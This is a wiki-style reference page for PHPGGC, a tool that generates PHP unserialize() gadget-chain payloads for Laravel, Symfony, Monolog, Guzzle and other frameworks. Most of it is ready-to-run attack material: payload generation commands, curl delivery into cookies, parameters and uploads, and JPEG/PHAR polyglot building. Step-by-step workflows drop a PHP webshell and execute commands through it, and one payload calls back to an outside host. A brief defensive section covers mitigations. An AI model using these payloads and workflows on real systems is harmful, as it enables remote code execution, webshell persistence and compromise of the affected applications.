ᛉ Yggdrasil

Tool references

PHPGGC Wiki

17 Sep 2026 · 4,601 words · 21 min

Contents

Maintainers: ambionics (formerly gwendal-lv)
Repo: https://github.com/ambionics/phpggc
Description: Library of PHP unserialize() payloads and a tool to generate them — the PHP equivalent of Frohoff's Java ysoserial
Requirements: PHP >= 5.6 to run the tool itself (target PHP version depends on the specific gadget chain)
Install (Kali): sudo apt install phpggc


Overview

PHPGGC is a library of "gadget chains" for PHP's native unserialize() mechanism, packaged with a CLI generator — functionally the PHP sibling of ysoserial (Java) and ysoserial.net (.NET). Where those tools target readObject()/IFormatter deserialization, PHPGGC targets PHP's magic methods — __wakeup(), __destruct(), and __toString() — which fire automatically when a crafted serialized string is passed to unserialize(). If a class implementing one of these methods is autoloadable on the target (via Composer's autoloader, typically because a specific framework or library is installed), PHPGGC can chain method calls through that class's properties to reach a dangerous sink like system(), exec(), proc_open(), or arbitrary file write.

Key capabilities:

  • Generate ready-to-use serialized payloads for 15+ frameworks/libraries: Laravel, Symfony, Monolog, Guzzle, CodeIgniter4, Doctrine, Drupal7, Magento, Phalcon, Podio, Slim, SwiftMailer, Wordpress, Yii, ZendFramework/Laminas
  • Multiple payload types per framework: rce (remote code execution), file_write, file_read, file_delete, sql_injection, phpinfo()
  • Build PHAR archives (tar/zip/phar format) that trigger deserialization via the phar:// stream wrapper on any function that touches the filesystem
  • Generate JPEG/PHAR polyglot files for image-upload-based PHAR deserialization attacks
  • Encode output through chainable transforms (URL-encode, base64, JSON, soft-URL-encode) to match the target's expected input format
  • Test payload viability directly against a live/local install of the target framework before deploying against a real target

What PHPGGC is NOT: it doesn't discover unserialize() sinks for you, and it can't tell you which framework/library version is running on a target — you (or recon tooling like Composer lockfile leaks, error messages, or version-fingerprinting) still need to identify that first.


How PHP Deserialization Attacks Work

                     ┌────────────────────────────────────────┐
                     │      Vulnerable PHP Application        │
                     │  unserialize($_COOKIE / $_GET / file)  │
                     └───────────────────┬────────────────────┘
                                          │
                     Deserializes attacker-controlled string
                                          │
              ┌───────────────────────────┼───────────────────────────┐
              │                           │                           │
        __wakeup()                  __destruct()                __toString()
        called immediately          called when object          called when object
        after unserialize()         goes out of scope /          used in string
              │                     script ends                 context (echo,
              │                           │                      concatenation)
              └───────────────────────────┼───────────────────────────┘
                                          │
                     Property values chain through gadget classes:
              Class A property -> Class B method call -> Class C property -> ...
                                          │
                     Chain terminates in a "sink":
              system() / exec() / proc_open() / call_user_func() / file_put_contents()
                                          │
                                    Command Execution / File Write

Why this works: PHP's unserialize() reconstructs an object graph from a string and immediately invokes any magic methods (__wakeup, __destruct) present on the resulting objects — with no validation of which classes are "safe" to instantiate by default. If any autoloadable class on the target has one of these methods chaining into a call that an attacker can steer (often via call_user_func with attacker-controlled function name and arguments), deserializing the payload alone triggers code execution, independent of whatever the application intended to do with the deserialized data.

The three trigger vectors, in order of how PHPGGC labels them (the Vector column in phpggc -l):

Vector Trigger Point Notes
__destruct Object destroyed (script end, or immediately with -f fast-destruct) Most common vector across PHPGGC's gadget chains
__wakeup Immediately after unserialize() returns Fires earliest — useful when script may error out before reaching end
__toString Object coerced to a string somewhere in app logic Requires the app to actually use the object in string context — less universally reliable

The I column in phpggc -l output flags "Informations" — chains marked with * have extra usage notes visible via phpggc -i <chain>.


Install & Setup

Kali / Debian-based

sudo apt install phpggc
phpggc -h

From Source

git clone https://github.com/ambionics/phpggc.git
cd phpggc
./phpggc -l

No build step required — it's a PHP CLI script. Ensure your local PHP CLI version is >= 5.6; the tool itself runs fine on modern PHP even when generating payloads for old gadget chain targets, since generation just builds a serialized string rather than executing target-version code.

Directory Structure

phpggc/
├── phpggc                  # main CLI entry point
├── lib/PHPGGC.php          # core library, used for programmatic access
├── gadgetchains/           # one folder per framework, contains chain classes
│   ├── Laravel/RCE/...
│   ├── Symfony/RCE/...
│   ├── Monolog/RCE/...
│   └── ...
└── test-gc-compatibility.py  # version-matrix compatibility tester

Basic Usage

# General syntax
./phpggc <gadget-chain> [parameters] [options]

# List all available gadget chains
./phpggc -l

# Filter list by framework name
./phpggc -l laravel

# Get detailed info on a specific chain
./phpggc -i symfony/rce1

# Generate a basic RCE payload (function-call style chains)
./phpggc monolog/rce1 assert 'phpinfo()'

# Generate an RCE payload (system-call style chains)
./phpggc Monolog/RCE2 system 'id'

# Soft URL-encode inline (useful for direct paste into a URL param)
./phpggc monolog/rce1 'phpinfo();' -s

Reading a generated payload: output is a raw PHP serialized string, e.g. O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":...} — the O: prefix denotes a serialized object, followed by class name length/name, property count, then each property's serialized representation.


Full Flag Reference

Information

Flag Description
-h, --help Displays help
-l, --list [filter] Lists available gadget chains, optionally filtered by name substring
-i, --information Displays detailed information about a specific gadget chain (version range, type, vector, notes)

Output

Flag Description
-o, --output <file> Writes the payload to a file instead of stdout

PHAR Generation

Flag Description
-p, --phar <tar\|zip\|phar> Creates a PHAR archive of the given format containing the payload as metadata
-pj, --phar-jpeg <file> Creates a polyglot JPEG/PHAR file from a given source image
-pp, --phar-prefix <file> Sets the PHAR stub prefix to the contents of a given file — controls the beginning bytes of the generated file (used alongside -p phar for polyglot/magic-byte control)
-pf, --phar-filename <filename> Sets the name of the file stored inside the generated PHAR (default: test.txt)

Enhancements

Flag Description
-f, --fast-destruct Destroys the object immediately after unserialize() returns, rather than waiting for script end — useful when the target script errors out or exits before natural destruction would occur
-a, --ascii-strings Forces ASCII-safe string serialization
-n, --plus-notation <chars> Adds a + in front of int/object size markers for specific characters (e.g., -n iO turns O:3:"Abc":1:{s:1:"x";i:3;} into O:+3:"Abc":1:{s:1:"x";i:+3;} — PHP 7.2+ only supports + on i and d/float types)
-w, --wrapper <file> Specifies a PHP file with process_parameters(), process_object(), and/or process_serialized() hook functions for custom payload transformation

Encoding

Flag Description
-s, --soft Soft URL-encode (encodes only characters that need it)
-u, --url Full URL-encode of the payload
-b, --base64 Base64-encodes the output
-j, --json Converts the output into a JSON string

Encoders chain in the order specified — e.g., -b -u -u base64-encodes the payload, then URL-encodes it twice. Order matters and mirrors how you'd need to decode on delivery.

Creation & Testing

Flag Description
-N, --new <framework> <type> Scaffolds directory/file structure for a new gadget chain (e.g., ./phpggc -N Drupal RCE)
--test-payload Runs the generated payload's deserialization locally against the currently-installed framework version — confirms whether the chain would trigger, without sending anything to a real target. Warning: this executes the payload on your own system. Only __destruct, __wakeup, __toString, and PHAR payloads can be tested this way

Gadget Chains Reference

Run ./phpggc -l for the authoritative, up-to-date list — the table below captures the shape of what's available as a working reference, but exact version ranges shift as new chains are added.

Laravel

# Laravel RCE via function call, __destruct vector
./phpggc laravel/rce1 system 'id'
./phpggc laravel/rce2 system 'id'

# Newer chains targeting later Laravel versions (check -l for current top RCE number)
./phpggc laravel/rce10 system 'id'
Chain Version Range Type Vector
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
Laravel/RCE4 5.5.39 RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.x RCE (Function call) __destruct *
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString

Laravel has one of the broadest version-coverage sets in PHPGGC due to its popularity as a real-world target — always check -l laravel for the current full list, since new chains are added as Laravel's internals shift.


Symfony

./phpggc symfony/rce1 <command>
Chain Version Range Type Vector
Symfony/FW1 2.5.2 File write DebugImport *
Symfony/FW2 3.4 File write __destruct
Symfony/RCE1 3.3 RCE (Function call) __destruct
./phpggc -i symfony/rce1
# Name       : Symfony/RCE1
# Version    : 3.3
# Type       : rce
# Vector     : __destruct
# Informations: Exec through proc_open()

Monolog

Frequently the "does this box have any exploitable PHP unserialize dependency" test chain, since Monolog is an extremely common transitive dependency (pulled in by Symfony, Laravel, and many others) even when the app itself doesn't use it directly for logging you control.

./phpggc monolog/rce1 assert 'phpinfo()'
./phpggc Monolog/RCE2 system 'id'
Chain Version Range Type Vector
Monolog/RCE1 1.18 <= 2.0.2 RCE (Function call) __destruct
Monolog/RCE2 1.5 <= 1.17 RCE (Function call) __destruct
Monolog/RCE3 < 1.11.0 RCE (Function call) __destruct
# Verify against a live Symfony install with a specific Monolog dependency
composer create-project symfony/website-skeleton=4.x some_symfony
cd some_symfony
phpggc monolog/rce2 --test-payload
# Trying to deserialize payload...
# SUCCESS: Payload triggered !

Guzzle

./phpggc guzzle/rce1 system 'id'
./phpggc guzzle/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
./phpggc guzzle/info1
Chain Version Range Type Vector
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *

CodeIgniter4

./phpggc codeigniter4/rce1 system 'id'
Chain Version Range Type Vector
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 4.1.3 <= 4.2.10+ RCE (Function call) __destruct

Doctrine

./phpggc doctrine/rce1 'system("id");'
./phpggc doctrine/fw1 /var/www/shell.php '<?php system($_GET["c"]); ?>'
Chain Version Range Type Vector
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0<=2.4.0, 2.5.0<=2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *

SwiftMailer

# File write chains — write a webshell to a target path
./phpggc swiftmailer/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
Chain Version Range Type Vector
SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
SwiftMailer/FW3 5.0.1 File write __toString
SwiftMailer/FW4 4.0.0 <= ? File write __destruct

SwiftMailer's chains are file-write primitives, not direct RCE — pair with a writable web-accessible path to drop a PHP webshell for the actual code-exec step.


Other Frameworks

./phpggc drupal7/rce1 system 'id'          # Drupal7/RCE1: 7.0.8 < ? — RCE, __destruct
./phpggc magento/fw1 <path> <content>       # Magento/FW1: File write, __destruct
./phpggc magento/sqli1                      # Magento/SQLI1: SQL injection, __destruct
./phpggc phalcon/rce1 system 'id'           # Phalcon/RCE1: <= 1.2.2 — RCE, __wakeup
./phpggc slim/rce1                          # Slim/RCE1: 3.8.1 — RCE, __toString
./phpggc wordpress/rce1 system 'id'         # WordPress-targeted chain
./phpggc yii/rce1 system 'id'               # Yii-targeted chain
./phpggc zendframework/rce1 system 'id'     # ZendFramework/Laminas-targeted chain
./phpggc laminas/fd1                        # Laminas/FD1: <= 2.11.2 — File delete, __destruct
./phpggc horde/rce1 '<?php system($_GET["c"]); ?>'  # Horde/RCE1: <= 5.2.22 — RCE (PHP code), __destruct *

Phalcon/RCE1 is notable for using __wakeup as its vector rather than the more common __destruct — relevant if the target's PHP unserialize() call site errors out or exits before natural object destruction would occur, since __wakeup fires immediately.


PHAR Deserialization (phar:// Wrapper)

PHP's phar:// stream wrapper deserializes a PHAR archive's metadata whenever any filesystem function (not just direct unserialize() calls) touches a .phar file through that wrapper — file_exists(), file_get_contents(), getimagesize(), md5_file(), fopen(), and many others all trigger it. This makes PHAR deserialization exploitable even in codebases that never call unserialize() directly on user input, as long as some file-path operation touches attacker-controllable file paths.

# Generate a PHAR containing a gadget chain payload as its metadata
./phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/exploit.phar

# The resulting PHAR must be uploaded/placed somewhere the target app will later
# perform a filesystem operation against it through the phar:// wrapper, e.g.:
#   file_exists("phar://" . $uploaded_file_path)
#   getimagesize("phar://" . $uploaded_file_path)

PHAR structure recap (for understanding what PHPGGC is building):

[Stub]        — PHP code executed when accessed in an executable context;
                must contain __HALT_COMPILER(); at minimum
[Manifest]    — archive metadata, INCLUDES THE SERIALIZED OBJECT (this is what
                triggers deserialization when the wrapper reads it)
[File Contents] — the actual archived file(s)
[Signature]   — optional integrity check

Manual construction reference (what -p phar automates):

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'placeholder content');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// The metadata is what gets deserialized — this is the gadget chain object
$phar->setMetadata($gadget_object);
$phar->stopBuffering();

JPEG/PHAR Polyglot Payloads

For upload forms that validate file type by extension or magic bytes (image uploads being the classic case), a JPEG/PHAR polyglot lets the file pass image validation while still functioning as a valid PHAR when later accessed via phar://.

# Generate a polyglot from a real JPEG, embedding the gadget chain
./phpggc Monolog/RCE2 system 'id' -pj original_image.jpg -o exploit.jpg

# Combine with a custom PHAR prefix if the app expects specific header bytes beyond JPEG magic
./phpggc Monolog/RCE2 system 'id' -p phar -pp jpeg_header.bin -o exploit.jpg

Delivery pattern: upload exploit.jpg through the app's normal image upload flow (it validates as a real JPEG), then find a code path where the app later touches that stored file through a filesystem function using the phar:// wrapper prefix — often via a separate feature like avatar processing, thumbnail generation, or file-existence checks on user-controlled paths.


Testing Compatibility Against a Target Environment

# Direct local test — run from inside a project with the target dependency installed
composer create-project symfony/website-skeleton=4.x some_symfony
cd some_symfony
phpggc monolog/rce2 --test-payload
# Trying to deserialize payload...
# SUCCESS: Payload triggered !
# (exit code 0 = success, 1 = failure)

# Automated version-matrix testing across many versions of a dependency
./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3

# Test specific pinned versions only
./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3

Sample matrix output:

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │ OK      │ OK           │ KO           │
│ 1.25.4          │ OK      │ OK           │ KO           │
└─────────────────┴─────────┴──────────────┴──────────────┘

Workflow value: if you can fingerprint the target's exact dependency version (via a leaked composer.lock, error stack trace revealing a vendor path, or a version-disclosure endpoint), run this matrix locally before ever touching the real target — avoids noisy trial-and-error against a live engagement.


Wrapper Scripts (Custom Parameter Processing)

The -w/--wrapper flag lets you inject custom logic into the generation pipeline without modifying PHPGGC's core code — useful for CTF-style challenges with nonstandard serialization quirks, or engagement-specific payload post-processing.

<?php
// wrapper.php
function process_parameters($parameters) {
    // Called right before generate() — modify/inject parameters here
    return $parameters;
}

function process_object($object) {
    // Called right before the payload is serialized — mutate the object graph
    return $object;
}

function process_serialized($serialized) {
    // Called right after serialization — do string-level post-processing
    // e.g., strip/replace specific byte sequences the target's WAF blocks
    return $serialized;
}
./phpggc monolog/rce1 system 'id' -w wrapper.php

Identifying PHP Deserialization Endpoints

Byte/string-level indicators:

Serialized object marker:     O:<len>:"ClassName":<propcount>:{...}
Serialized array marker:      a:<count>:{...}
PHAR magic (after stub):      GBMB  (Phar file format signature, near end of file)

Common real-world sinks:

  • Cookies storing serialized session/auth data directly (unserialize($_COOKIE['...']))
  • Cache layers using PHP native serialization instead of JSON
  • Custom "remember me" tokens, CSRF tokens, or state-passing parameters using serialize()/unserialize()
  • File upload processing paths that later touch the uploaded file via a filesystem function (PHAR vector)
  • API endpoints accepting serialized PHP data directly in a request body (rare but occurs in legacy internal APIs)
  • unserialize() calls with no second-argument allowed_classes restriction — PHP 7+ supports unserialize($data, ['allowed_classes' => false]) to disable object instantiation entirely; its absence is what makes a sink exploitable
# grep a captured request/response/config for serialized object markers
grep -oE 'O:[0-9]+:"[^"]+"' capture.txt

Payload Delivery Vectors

# Raw payload as a cookie value
curl http://target/ -H "Cookie: session=$(./phpggc monolog/rce1 system 'id' -u)"

# URL-encoded payload as a GET/POST parameter
curl "http://target/?data=$(./phpggc monolog/rce1 system 'id' -u)"

# Base64-encoded payload for JSON body delivery
PAYLOAD=$(./phpggc monolog/rce1 system 'id' -b)
curl -X POST http://target/api -H "Content-Type: application/json" -d "{\"data\":\"$PAYLOAD\"}"

# PHAR file upload, later triggered via phar:// path reference elsewhere in the app
./phpggc Monolog/RCE2 system 'id' -p phar -o exploit.phar
curl -X POST http://target/upload -F "file=@exploit.phar"
# Trigger: some other feature (avatar processing, thumbnail gen, existence check)
# reads the uploaded file path through phar://

# JPEG/PHAR polyglot for image-upload-gated deserialization
./phpggc Monolog/RCE2 system 'id' -pj real_photo.jpg -o exploit.jpg
curl -X POST http://target/avatar/upload -F "avatar=@exploit.jpg"

Programmatic Usage (PHP API)

For CTFs, exploit scripting, or automated tooling, PHPGGC can be included directly rather than shelled out to:

<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Instantiate the target gadget chain
$gc = new \GadgetChain\Guzzle\RCE1();

# Process parameters (recommended even for straightforward chains)
$parameters = $gc->process_parameters([
    'function' => 'system',
    'parameter' => 'id',
]);

# Generate the payload object graph
$object = $gc->generate($parameters);

# Most chains don't need process_object/process_serialized — safe to skip for
# quick scripting, but available for the same reasons as -w wrapper hooks
$serialized = serialize($object);

# Send $serialized directly via your own HTTP client / exploit script
echo $serialized;

Useful when integrating gadget generation into a larger Python/PHP exploit chain (e.g., a CTF solve script that needs to generate a fresh payload per request due to CSRF tokens or session-bound state).


Troubleshooting & Version Matching

Symptom Likely Cause Fix
Payload deserializes but nothing happens Chain's vector (__destruct) never fires because the script exits abnormally (fatal error, die()) before natural destruction Add -f/--fast-destruct to trigger destruction immediately after unserialize()
--test-payload succeeds locally but fails against the real target Target's exact dependency version differs from your local install Pin exact version with Composer and re-test, or run test-gc-compatibility.py across the plausible version range
Payload rejected — application errors on unexpected bytes WAF/input filter stripping non-printable or special characters Try -a/--ascii-strings, or adjust via a custom -w wrapper's process_serialized() hook
PHAR payload never triggers No code path touches the uploaded file through a phar://-wrapped filesystem function Look for secondary features (thumbnailing, existence checks, hash calculation) that reference the uploaded path — direct unserialize() won't trigger PHAR metadata deserialization
Correct chain for framework, still fails Chain's magic-method vector (__wakeup) is bypassed because the class also implements __wakeup differently in a patched version, or a __unserialize()/__serialize() pair (PHP 7.4+) has superseded the old magic methods entirely for that class Check the target's actual installed source if accessible; some frameworks migrated away from __wakeup/__sleep toward __serialize/__unserialize, breaking older PHPGGC chains built against the old model
-l shows no matching chains for a framework version No published chain covers that specific version Check -i <chain> on nearby versions for actual tested boundaries — version ranges in -l are often conservative; also check community forks for newer additions

Detection & Defense

(For blue-team / remediation context when reporting findings.)

  • Never call unserialize() on user-controlled input. Use json_decode() for data interchange instead — it cannot instantiate arbitrary objects
  • If unserialize() on untrusted data is unavoidable, always pass the allowed_classes option: unserialize($data, ['allowed_classes' => false]) (or an explicit allow-list array) — this alone neutralizes essentially every PHPGGC gadget chain, since none of them can instantiate objects
  • Audit filesystem functions against user-controlled paths for PHAR-wrapper exposure — any file_exists(), getimagesize(), md5_file(), fopen(), etc. call on a path an attacker partially controls is a potential PHAR deserialization sink even without a direct unserialize() call
  • Validate uploaded file content, not just extension/magic bytes — JPEG/PHAR polyglots pass naive image-header checks; consider re-encoding uploaded images (strips PHAR metadata) rather than storing the original bytes
  • Keep dependencies current — most PHPGGC chains target specific version ranges of Monolog, Guzzle, Symfony, Laravel, etc. that have since patched the underlying gadget (often by adding type checks or removing the dangerous magic method behavior)
  • WAF/RASP signatures on serialized-object markers (O: followed by known dangerous class names) in parameters/cookies that shouldn't contain PHP serialized data at all

Common Attack Workflows

# Step 1: Identify a cookie/param that looks like PHP serialized data
# e.g., session cookie value starting with O: or a:

# Step 2: Fingerprint the framework/library (error pages, headers, JS assets, composer.lock leak)

# Step 3: List candidate chains for the fingerprinted framework
./phpggc -l laravel

# Step 4: Generate and test locally if you can spin up a matching version
composer create-project laravel/laravel:^8.0 test_laravel
cd test_laravel && phpggc laravel/rce2 --test-payload

# Step 5: Generate the real payload, encoded for cookie delivery
./phpggc laravel/rce2 system 'curl http://10.10.14.5:8000/hit' -u > payload.txt

# Step 6: Deliver
curl http://target/ -H "Cookie: laravel_session=$(cat payload.txt)"

Workflow: PHAR-Based RCE via Image Upload

# Step 1: Confirm the app has an image upload feature AND a secondary feature that
# performs filesystem operations on the uploaded path (thumbnailing, EXIF reading,
# existence checks before "already uploaded" messages, etc.)

# Step 2: Generate a JPEG/PHAR polyglot with the RCE gadget chain embedded
./phpggc Monolog/RCE2 system 'id' -pj clean_photo.jpg -o malicious.jpg

# Step 3: Upload through the normal image upload flow
curl -X POST http://target/profile/avatar -F "avatar=@malicious.jpg" \
  -H "Cookie: session=<valid_session>"

# Step 4: Trigger the phar:// deserialization via whatever secondary feature
# touches the file path (varies per app — often automatic on next page load,
# or requires visiting a specific "regenerate thumbnail" endpoint)

# Step 5: Confirm execution (OOB callback, output file, etc.)

Workflow: File-Write Chain -> Webshell -> RCE

# Step 1: Identify a file_write-type chain matching the target's dependency
# (e.g., SwiftMailer, Guzzle, Doctrine, Magento all have FW-type chains)

# Step 2: Generate a payload that writes a PHP webshell to a web-accessible path
./phpggc guzzle/fw1 /var/www/html/uploads/shell.php \
  '<?php system($_GET["c"]); ?>' -u > payload.txt

# Step 3: Deliver via the identified unserialize() sink
curl "http://target/vulnerable_endpoint?data=$(cat payload.txt)"

# Step 4: Use the dropped webshell for full RCE
curl "http://target/uploads/shell.php?c=id"

Cheatsheet

Quick reference for the most common PHPGGC operations. Replace placeholders as needed.

Install

sudo apt install phpggc     # Kali/Debian
# or
git clone https://github.com/ambionics/phpggc.git && cd phpggc

Discovery

./phpggc -l                     # list all chains
./phpggc -l laravel              # filter by framework
./phpggc -i symfony/rce1         # detailed info on a specific chain

Basic RCE Generation

./phpggc monolog/rce1 assert 'phpinfo()'
./phpggc Monolog/RCE2 system 'id'
./phpggc laravel/rce2 system 'id'
./phpggc symfony/rce1 'id'
./phpggc guzzle/rce1 system 'id'

Encoding for Delivery

./phpggc monolog/rce1 system 'id' -s              # soft URL-encode
./phpggc monolog/rce1 system 'id' -u               # full URL-encode
./phpggc monolog/rce1 system 'id' -b               # base64
./phpggc monolog/rce1 system 'id' -j               # JSON string
./phpggc monolog/rce1 system 'id' -b -u             # chain: base64 then URL-encode

PHAR Generation

./phpggc Monolog/RCE2 system 'id' -p phar -o exploit.phar          # phar format
./phpggc Monolog/RCE2 system 'id' -p phar -pf shell.txt -o e.phar   # custom internal filename
./phpggc Monolog/RCE2 system 'id' -pj photo.jpg -o exploit.jpg      # JPEG/PHAR polyglot

Reliability Enhancements

./phpggc monolog/rce1 system 'id' -f                # fast-destruct
./phpggc monolog/rce1 system 'id' -a                # ascii-strings
./phpggc monolog/rce1 system 'id' -w wrapper.php     # custom wrapper hooks

Testing Before Delivery

composer create-project <vendor>/<package>:<version> test_env
cd test_env
phpggc <chain> --test-payload

./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3

Output to File

./phpggc monolog/rce1 system 'id' -o payload.txt

File-Write Chains (Webshell Drop)

./phpggc swiftmailer/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
./phpggc guzzle/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'

Programmatic (PHP Script)

<?php
include("phpggc/lib/PHPGGC.php");
$gc = new \GadgetChain\Guzzle\RCE1();
$parameters = $gc->process_parameters(['function' => 'system', 'parameter' => 'id']);
$object = $gc->generate($parameters);
echo serialize($object);

Serialized Object Marker (Manual Recon)

O:<class_name_length>:"<ClassName>":<property_count>:{...}

References

  • GitHub: https://github.com/ambionics/phpggc
  • Kali Tools page: https://www.kali.org/tools/phpggc/
  • Original Java ysoserial (conceptual inspiration): https://github.com/frohoff/ysoserial
  • PayloadsAllTheThings — PHP Deserialization: https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/PHP/
  • "PHP Generic Gadget Chains" write-up (0x1): https://0x1.gitlab.io/web-security/PHP-Generic-Gadget-Chains/
  • PHP manual — unserialize() and allowed_classes: https://www.php.net/manual/en/function.unserialize.php
  • PHP manual — Phar stream wrapper: https://www.php.net/manual/en/phar.using.intro.php

← Tool references top ↑